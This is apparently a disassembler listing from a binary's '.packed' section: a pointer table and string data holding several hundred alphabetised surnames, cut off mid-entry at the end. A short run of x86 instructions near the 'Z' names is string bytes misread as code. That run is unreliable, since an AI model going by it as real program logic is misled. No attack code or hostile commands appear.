"Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" dd offset aTringali ; "Tringali" dd offset aTroiani ; "Troiani" dd offset aTroy ; "Troy" dd offset aTruss ; "Truss" dd offset aTsiatis ; "Tsiatis" dd offset aTsomides ; "Tsomides" dd offset aTsukurov ; "Tsukurov" dd offset aTuck ; "Tuck" dd offset aTudge ; "Tudge" dd offset aTukan ; "Tukan" dd offset aTurano ; "Turano" dd offset aTurek ; "Turek" dd offset aTuttle ; "Tuttle" dd offset aTwells ; "Twells" dd offset aTzamarias ; "Tzamarias" dd offset aUllman ; "Ullman" dd offset aUntermeyer ; "Untermeyer" dd offset aUpsdell ; "Upsdell" dd offset aUrban ; "Urban" dd offset aUrdangBrown ; "Urdang-Brown" dd offset aUsdan ; "Usdan" dd offset aUzuner ; "Uzuner" dd offset aVacca ; "Vacca" dd offset aWaite ; "Waite" dd offset aValberg ; "Valberg" dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" dd offset aWalter ; "Walter" dd offset aVanallen ; "vanAllen" dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" dd offset aVasquez ; "Vasquez" dd offset aWaugh ; "Waugh" dd offset aWeighart ; "Weighart" dd offset aWeingarten ; "Weingarten" dd offset aWeinhaus ; "Weinhaus" dd offset aWeissbourd ; "Weissbourd" dd offset aWeissman ; "Weissman" dd offset aVelasquez ; "Velasquez" dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" ; --------------------------------------------------------------------------- and ah, ch inc edx add [esp+ebp*8], dl inc edx add [esp+ebp*8], cl inc edx add [esp+ebp*8], al inc edx add ah, bh jmp short loc_42EC09 ; --------------------------------------------------------------------------- align 4 dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aZytowski db 'Zytowski',0 ; DATA XREF: .packed:0042EBD4o align 4 aZwiers db 'Zwiers',0 ; DATA XREF: .packed:0042EBD0o align 4 aZurn db 'Zurn',0 ; DATA XREF: .packed:0042EBCCo align 4 aZucconi db 'Zucconi',0 ; DATA XREF: .packed:0042EBC8o aZoldak db 'Zoldak',0 align 4 dd 6272655Ah db 69h ; --------------------------------------------------------------------------- loc_42EC09: ; CODE XREF: .packed:0042EBC5j outsb imul eax, [eax], 6167655Ah outsb jnb short $+2 add [edx+61h], bl outsb db 67h ja near ptr 0EC83h insb insb ; --------------------------------------------------------------------------- dd 0 aZahedi db 'Zahedi',0 align 4 aZachary db 'Zachary',0 ; DATA XREF: .packed:0042EBB0o aYu db 'Yu',0 ; DATA XREF: .packed:0042EBACo align 4 aYoukSee db 'Youk-See',0 ; DATA XREF: .packed:0042EBA8o align 10h aYoo db 'Yoo',0 ; DATA XREF: .packed:0042EBA4o aYoffe db 'Yoffe',0 ; DATA XREF: .packed:0042EBA0o align 4 aYetiv db 'Yetiv',0 ; DATA XREF: .packed:0042EB9Co align 4 aYesson db 'Yesson',0 ; DATA XREF: .packed:0042EB98o align 4 aYedidia db 'Yedidia',0 ; DATA XREF: .packed:0042EB94o aYbarra db 'Ybarra',0 ; DATA XREF: .packed:0042EB90o align 4 aYates db 'Yates',0 ; DATA XREF: .packed:0042EB8Co align 4 aYarchuk db 'Yarchuk',0 ; DATA XREF: .packed:0042EB88o aYankee db 'Yankee',0 ; DATA XREF: .packed:0042EB84o align 4 aYamane db 'Yamane',0 ; DATA XREF: .packed:0042EB80o align 4 aYacono db 'Yacono',0 ; DATA XREF: .packed:0042EB7Co align 4 aVotey db 'Votey',0 ; DATA XREF: .packed:0042EB78o align 4 aVorhaus db 'Vorhaus',0 ; DATA XREF: .packed:0042EB74o aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: .packed:0042EB70o align 4 aWoods db 'Woods',0 ; DATA XREF: .packed:0042EB6Co align 4 aWooden db 'Wooden',0 ; DATA XREF: .packed:0042EB68o align 4 aWoo db 'Woo',0 ; DATA XREF: .packed:0042EB64o aVonhoffman db 'VonHoffman',0 ; DATA XREF: .packed:0042EB60o align 4 aWolk db 'Wolk',0 ; DATA XREF: .packed:0042EB5Co align 4 aVoigt db 'Voigt',0 ; DATA XREF: .packed:0042EB58o align 4 aViviani db 'Viviani',0 ; DATA XREF: .packed:0042EB54o aVitali db 'Vitali',0 ; DATA XREF: .packed:0042EB50o align 4 aWilson db 'Wilson',0 ; DATA XREF: .packed:0042EB4Co align 4 aWillstatter db 'Willstatter',0 ; DATA XREF: .packed:0042EB48o aVillarreal db 'Villarreal',0 ; DATA XREF: .packed:0042EB44o align 4 aWilkinson db 'Wilkinson',0 ; DATA XREF: .packed:0042EB40o align 10h aWilkin db 'Wilkin',0 ; DATA XREF: .packed:0042EB3Co align 4 aWilk db 'Wilk',0 ; DATA XREF: .packed:0042EB38o align 10h aWilhelm db 'Wilhelm',0 ; DATA XREF: .packed:0042EB34o aWilder db 'Wilder',0 ; DATA XREF: .packed:0042EB30o align 10h aVignola db 'Vignola',0 ; DATA XREF: .packed:0042EB2Co aViens db 'Viens',0 ; DATA XREF: .packed:0042EB28o align 10h aWiener db 'Wiener',0 ; DATA XREF: .packed:0042EB24o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: .packed:0042EB20o aViano db 'Viano',0 ; DATA XREF: .packed:0042EB1Co align 4 aViana db 'Viana',0 ; DATA XREF: .packed:0042EB18o align 4 aWhittaker db 'Whittaker',0 ; DATA XREF: .packed:0042EB14o align 10h aWhitla db 'Whitla',0 ; DATA XREF: .packed:0042EB10o align 4 aWhite db 'White',0 ; DATA XREF: .packed:0042EB0Co align 10h aWhilton db 'Whilton',0 ; DATA XREF: .packed:0042EB08o aWhately db 'Whately',0 ; DATA XREF: .packed:0042EB04o aWetzel db 'Wetzel',0 ; DATA XREF: .packed:0042EB00o align 4 aWescott db 'Wescott',0 ; DATA XREF: .packed:0042EAFCo aVerghese db 'Verghese',0 ; DATA XREF: .packed:0042EAF8o align 4 aVenne db 'Venne',0 ; DATA XREF: .packed:0042EAF4o align 4 aWengret db 'Wengret',0 ; DATA XREF: .packed:0042EAF0o aWelsh db 'Welsh',0 ; DATA XREF: .packed:0042EAECo align 4 aWelles db 'Welles',0 ; DATA XREF: .packed:0042EAE8o align 4 aVelasquez db 'Velasquez',0 ; DATA XREF: .packed:0042EAE4o align 4 aWeissman db 'Weissman',0 ; DATA XREF: .packed:0042EAE0o align 4 aWeissbourd db 'Weissbourd',0 ; DATA XREF: .packed:0042EADCo align 10h aWeinhaus db 'Weinhaus',0 ; DATA XREF: .packed:0042EAD8o align 4 aWeingarten db 'Weingarten',0 ; DATA XREF: .packed:0042EAD4o align 4 aWeighart db 'Weighart',0 ; DATA XREF: .packed:0042EAD0o align 4 aWaugh db 'Waugh',0 ; DATA XREF: .packed:0042EACCo align 4 aVasquez db 'Vasquez',0 ; DATA XREF: .packed:0042EAC8o aWasowska db 'Wasowska',0 ; DATA XREF: .packed:0042EAC4o align 10h aWarshafsky db 'Warshafsky',0 ; DATA XREF: .packed:0042EAC0o align 4 aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: .packed:0042EABCo align 4 aVandenberg db 'Vandenberg',0 ; DATA XREF: .packed:0042EAB8o align 4 aVanzwet db 'VanZwet',0 ; DATA XREF: .packed:0042EAB4o aVanallen db 'vanAllen',0 ; DATA XREF: .packed:0042EAB0o align 4 aWalter db 'Walter',0 ; DATA XREF: .packed:0042EAACo align 4 aWallenberg db 'Wallenberg',0 ; DATA XREF: .packed:0042EAA8o align 10h aWales db 'Wales',0 ; DATA XREF: .packed:0042EAA4o align 4 aValencia db 'Valencia',0 ; DATA XREF: .packed:0042EAA0o align 4 aValberg db 'Valberg',0 ; DATA XREF: .packed:0042EA9Co aWaite db 'Waite',0 ; DATA XREF: .packed:0042EA98o align 4 aVacca db 'Vacca',0 ; DATA XREF: .packed:0042EA94o align 4 aUzuner db 'Uzuner',0 ; DATA XREF: .packed:0042EA90o align 4 aUsdan db 'Usdan',0 ; DATA XREF: .packed:0042EA8Co align 4 aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: .packed:0042EA88o align 4 aUrban db 'Urban',0 ; DATA XREF: .packed:0042EA84o align 4 aUpsdell db 'Upsdell',0 ; DATA XREF: .packed:0042EA80o aUntermeyer db 'Untermeyer',0 ; DATA XREF: .packed:0042EA7Co align 4 aUllman db 'Ullman',0 ; DATA XREF: .packed:0042EA78o align 10h aTzamarias db 'Tzamarias',0 ; DATA XREF: .packed:0042EA74o align 4 aTwells db 'Twells',0 ; DATA XREF: .packed:0042EA70o align 4 aTuttle db 'Tuttle',0 ; DATA XREF: .packed:0042EA6Co align 4 aTurek db 'Turek',0 ; DATA XREF: .packed:0042EA68o align 4 aTurano db 'Turano',0 ; DATA XREF: .packed:0042EA64o align 4 aTukan db 'Tukan',0 ; DATA XREF: .packed:0042EA60o align 4 aTudge db 'Tudge',0 ; DATA XREF: .packed:0042EA5Co align 4 aTuck db 'Tuck',0 ; DATA XREF: .packed:0042EA58o align 4 aTsukurov db 'Tsukurov',0 ; DATA XREF: .packed:0042EA54o align 10h aTsomides db 'Tsomides',0 ; DATA XREF: .packed:0042EA50o align 4 aTsiatis db 'Tsiatis',0 ; DATA XREF: .packed:0042EA4Co aTruss db 'Truss',0 ; DATA XREF: .packed:0042EA48o align 4 aTroy db 'Troy',0 ; DATA XREF: .packed:0042EA44o align 4 aTroiani db 'Troiani',0 ; DATA XREF: .packed:0042EA40o aTringali db 'Tringali',0 ; DATA XREF: .packed:0042EA3Co align 4 aTrewin db 'Trewin',0 ; DATA XREF: .packed:0042EA38o align 10h aTrenga db 'Trenga',0 ; DATA XREF: .packed:0042EA34o align 4 aTraebert db 'Traebert',0 ; DATA XREF: .packed:0042EA30o align 4 aToye db 'Toye',0 ; DATA XREF: .packed:0042EA2Co align 4 aTowler db 'Towler',0 ; DATA XREF: .packed:0042EA28o align 4 aTorske db 'Torske',0 ; DATA XREF: .packed:0042EA24o align 4 aTorresi db 'Torresi',0 ; DATA XREF: .packed:0042EA20o aTopulos db 'Topulos',0 ; DATA XREF: .packed:0042EA1Co aToomer db 'Toomer',0 ; DATA XREF: .packed:0042EA18o align 4 aTomford db 'Tomford',0 ; DATA XREF: .packed:0042EA14o aTolman db 'Tolman',0 ; DATA XREF: .packed:0042EA10o align 4 aTolls db 'Tolls',0 ; DATA XREF: .packed:0042EA0Co align 4 aTollestrup db 'Tollestrup',0 ; DATA XREF: .packed:0042EA08o align 4 aTofallis db 'Tofallis',0 ; DATA XREF: .packed:0042EA04o align 4 aTimmons db 'Timmons',0 ; DATA XREF: .packed:0042EA00o aTill db 'Till',0 ; DATA XREF: .packed:0042E9FCo align 4 aTierney db 'Tierney',0 ; DATA XREF: .packed:0042E9F8o aThroop db 'Throop',0 ; DATA XREF: .packed:0042E9F4o align 4 aThomsen db 'Thomsen',0 ; DATA XREF: .packed:0042E9F0o aThisted db 'Thisted',0 ; DATA XREF: .packed:0042E9ECo aThibault db 'Thibault',0 ; DATA XREF: .packed:0042E9E8o align 10h aTheodos db 'Theodos',0 ; DATA XREF: .packed:0042E9E4o aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: .packed:0042E9E0o align 4 aThan db 'Than',0 ; DATA XREF: .packed:0042E9DCo align 10h aTerracini db 'Terracini',0 ; DATA XREF: .packed:0042E9D8o align 4 aTenney db 'Tenney',0 ; DATA XREF: .packed:0042E9D4o align 4 aTemmer db 'Temmer',0 ; DATA XREF: .packed:0042E9D0o align 4 aTemes db 'Temes',0 ; DATA XREF: .packed:0042E9CCo align 4 aTeague db 'Teague',0 ; DATA XREF: .packed:0042E9C8o align 4 aTcherepnin db 'Tcherepnin',0 ; DATA XREF: .packed:0042E9C4o align 4 aTawn db 'Tawn',0 ; DATA XREF: .packed:0042E9C0o align 10h aTaveras db 'Taveras',0 ; DATA XREF: .packed:0042E9BCo aTatar db 'Tatar',0 ; DATA XREF: .packed:0042E9B8o align 10h aTanowitz db 'Tanowitz',0 ; DATA XREF: .packed:0042E9B4o align 4 aTandler db 'Tandler',0 ; DATA XREF: .packed:0042E9B0o aTambiah db 'Tambiah',0 ; DATA XREF: .packed:0042E9ACo aTalaugon db 'Talaugon',0 ; DATA XREF: .packed:0042E9A8o align 4 aTai db 'Tai',0 ; DATA XREF: .packed:0042E9A4o aTagiuri db 'Tagiuri',0 ; DATA XREF: .packed:0042E9A0o aSwindle db 'Swindle',0 ; DATA XREF: .packed:0042E99Co aSweetser db 'Sweetser',0 ; DATA XREF: .packed:0042E998o align 4 aSweeting db 'Sweeting',0 ; DATA XREF: .packed:0042E994o align 4 aSurdam db 'Surdam',0 ; DATA XREF: .packed:0042E990o align 4 aSuo db 'Suo',0 ; DATA XREF: .packed:0042E98Co aSumner db 'Sumner',0 ; DATA XREF: .packed:0042E988o align 4 aSullivan db 'Sullivan',0 ; DATA XREF: .packed:0042E984o align 4 aStringer db 'Stringer',0 ; DATA XREF: .packed:0042E980o align 10h aStreiff db 'Streiff',0 ; DATA XREF: .packed:0042E97Co aStrauch db 'Strauch',0 ; DATA XREF: .packed:0042E978o aStrange db 'Strange',0 ; DATA XREF: .packed:0042E974o aStott db 'Stott',0 ; DATA XREF: .packed:0042E970o align 10h aStorer db 'Storer',0 ; DATA XREF: .packed:0042E96Co align 4 aStonich db 'Stonich',0 ; DATA XREF: .packed:0042E968o aStolzenberg db 'Stolzenberg',0 ; DATA XREF: .packed:0042E964o aStockwell db 'Stockwell',0 ; DATA XREF: .packed:0042E960o align 4 aStockton db 'Stockton',0 ; DATA XREF: .packed:0042E95Co align 4 aStock db 'Stock',0 ; DATA XREF: .packed:0042E958o align 4 aStillwell db 'Stillwell',0 ; DATA XREF: .packed:0042E954o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: .packed:0042E950o align 4 aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: .packed:0042E94Co align 4 aStepniewska db 'Stepniewska',0 ; DATA XREF: .packed:0042E948o aStephanian db 'Stephanian',0 ; DATA XREF: .packed:0042E944o align 4 aSteiner db 'Steiner',0 ; DATA XREF: .packed:0042E940o aStefani db 'Stefani',0 ; DATA XREF: .packed:0042E93Co aStatlender db 'Statlender',0 ; DATA XREF: .packed:0042E938o align 4 aStates db 'States',0 ; DATA XREF: .packed:0042E934o align 10h aStassinopolus db 'Stassinopolus',0 ; DATA XREF: .packed:0042E930o align 10h aStang db 'Stang',0 ; DATA XREF: .packed:0042E92Co align 4 aStam db 'Stam',0 ; DATA XREF: .packed:0042E928o align 10h aStalvey db 'Stalvey',0 ; DATA XREF: .packed:0042E924o aStmartin db 'StMartin',0 ; DATA XREF: .packed:0042E920o align 4 aSpinrad db 'Spinrad',0 ; DATA XREF: .packed:0042E91Co aSpiliotis db 'Spiliotis',0 ; DATA XREF: .packed:0042E918o align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: .packed:0042E914o align 4 aSpicer db 'Spicer',0 ; DATA XREF: .packed:0042E910o align 10h aSperber db 'Sperber',0 ; DATA XREF: .packed:0042E90Co aSpence db 'Spence',0 ; DATA XREF: .packed:0042E908o align 10h aSpeizer db 'Speizer',0 ; DATA XREF: .packed:0042E904o aSpaulding db 'Spaulding',0 ; DATA XREF: .packed:0042E900o align 4 aSparrow db 'Sparrow',0 ; DATA XREF: .packed:0042E8FCo aSpanier db 'Spanier',0 ; DATA XREF: .packed:0042E8F8o aSoultanian db 'Soultanian',0 ; DATA XREF: .packed:0042E8F4o align 10h aSoule db 'Soule',0 ; DATA XREF: .packed:0042E8F0o align 4 aSoukup db 'Soukup',0 ; DATA XREF: .packed:0042E8ECo align 10h aSottak db 'Sottak',0 ; DATA XREF: .packed:0042E8E8o align 4 aSorg db 'Sorg',0 ; DATA XREF: .packed:0042E8E4o align 10h aSorabella db 'Sorabella',0 ; DATA XREF: .packed:0042E8E0o align 4 aSommariva db 'Sommariva',0 ; DATA XREF: .packed:0042E8DCo align 4 aSomers db 'Somers',0 ; DATA XREF: .packed:0042E8D8o align 10h aSolon db 'Solon',0 ; DATA XREF: .packed:0042E8D4o align 4 aSocolow db 'Socolow',0 ; DATA XREF: .packed:0042E8D0o aSnodgrass db 'Snodgrass',0 ; DATA XREF: .packed:0042E8CCo align 4 aSniffen db 'Sniffen',0 ; DATA XREF: .packed:0042E8C8o aSmilow db 'Smilow',0 ; DATA XREF: .packed:0042E8C4o align 4 aSlowe db 'Slowe',0 ; DATA XREF: .packed:0042E8C0o align 4 aSloan db 'Sloan',0 ; DATA XREF: .packed:0042E8BCo align 4 aSkoda db 'Skoda',0 ; DATA XREF: .packed:0042E8B8o align 4 aSkerry db 'Skerry',0 ; DATA XREF: .packed:0042E8B4o align 4 aSkane db 'Skane',0 ; DATA XREF: .packed:0042E8B0o align 4 aSites db 'Sites',0 ; DATA XREF: .packed:0042E8ACo align 4 aSirilli db 'Sirilli',0 ; DATA XREF: .packed:0042E8A8o aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: .packed:0042E8A4o align 10h aSilvetti db 'Silvetti',0 ; DATA XREF: .packed:0042E8A0o align 4 aSilverman db 'Silverman',0 ; DATA XREF: .packed:0042E89Co align 4 aSigna db 'Signa',0 ; DATA XREF: .packed:0042E898o align 10h aSigini db 'Sigini',0 ; DATA XREF: .packed:0042E894o align 4 aSigalot db 'Sigalot',0 ; DATA XREF: .packed:0042E890o aSiesto db 'Siesto',0 ; DATA XREF: .packed:0042E88Co align 4 aShimon db 'Shimon',0 ; DATA XREF: .packed:0042E888o align 10h aShibata db 'Shibata',0 ; DATA XREF: .packed:0042E884o aShia db 'Shia',0 ; DATA XREF: .packed:0042E880o align 10h aShesko db 'Shesko',0 ; DATA XREF: .packed:0042E87Co align 4 aShepstone db 'Shepstone',0 ; DATA XREF: .packed:0042E878o align 4 aSheppard db 'Sheppard',0 ; DATA XREF: .packed:0042E874o align 10h aShepherd db 'Shepherd',0 ; DATA 